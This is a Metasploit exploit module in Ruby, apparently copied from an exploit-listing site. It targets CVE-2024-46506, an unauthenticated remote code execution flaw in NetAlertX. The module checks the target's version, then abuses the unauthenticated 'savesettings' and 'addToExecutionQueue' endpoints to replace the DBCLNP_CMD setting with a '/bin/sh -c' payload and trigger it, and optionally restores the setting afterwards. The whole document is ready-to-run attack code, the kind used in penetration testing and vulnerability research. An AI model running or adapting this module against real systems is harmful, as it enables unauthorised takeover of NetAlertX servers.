Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-NETALERTX_RCE_CVE_2024_46506-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Retry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Unauthenticated RCE in NetAlertX',
        'Description' => %q{
          An attacker can update NetAlertX settings with no authentication, which results in RCE.
        },
        'Author' => [
          'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC
          'Takahiro Yokoyama' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-46506'],
          ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/'],
          # ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46506'], Not published (yet?)
        ],
        'DefaultOptions' => {
          'FETCH_DELETE' => true,
          'WfsDelay' => 150
        },
        'Platform' => %w[linux],
        'Targets' => [
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd
            }
          ],
        ],
        'DefaultTarget' => 0,
        'Payload' => {
          'BadChars' => ' \'\\'
        },
        'DisclosureDate' => '2025-01-30',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(20211),
        OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]),
        OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true])
      ]
    )
    register_advanced_options(
      [
        OptString.new('Base64Decoder', [true, 'The binary to use for base64 decoding', 'base64-short', %w[base64-short] ])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'maintenance.php')
    })
    return Exploit::CheckCode::Unknown unless res&.code == 200

    html_document = res&.get_html_document
    return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank?

    version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*')
    return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank?

    version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, ''))
    return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12'))

    Exploit::CheckCode::Appears("Version #{version} detected.")
  end

  def exploit
    # Command is split by space character, and executed by the following Python code:
    # subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT))
    # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206
    # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214
    cmd = "/bin/sh -c #{payload.encode}"
    update_settings(cmd, '*')
    # Not updated immediately
    print_status('Waiting for the settings to be properly updated...')
    retry_until_truthy(timeout: datastore['WAIT']) do
      check_settings(cmd)
    end
    add_to_execution_queue('run|DBCLNP')
    add_to_execution_queue('cron_restart_backend')
    print_status('Added the payload to the queue. Waiting for the payload to run...')
  end

  def update_settings(cmd, sche)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
      'vars_post' => {
        'function' => 'savesettings',
        'settings' => [
          ['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'],
          ['DBCLNP', 'DBCLNP_CMD', 'string', cmd],
          ['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "#{sche} * * * *"],
        ].to_json
      }
    })
    fail_with(Failure::Unknown, 'Failed to update settings.') unless res&.code == 200
    print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.")
  end

  def add_to_execution_queue(cmd)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
      'vars_post' => {
        'function' => 'addToExecutionQueue',
        'action' => "#{SecureRandom.uuid}|#{cmd}"
      }
    })
    fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200
  end

  def check_settings(cmd)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/table_settings.json')
    })
    return unless res&.code == 200

    res.get_json_document['data']&.detect { |row| row['Code_Name'] == 'DBCLNP_CMD' && row['Value'] == cmd }
  end

  def cleanup
    super

    if datastore['CLEANUP']
      # Default settings, isn't usually changed.
      # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92
      update_settings(
        'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}',
        '*/30'
      )
    end
  end
end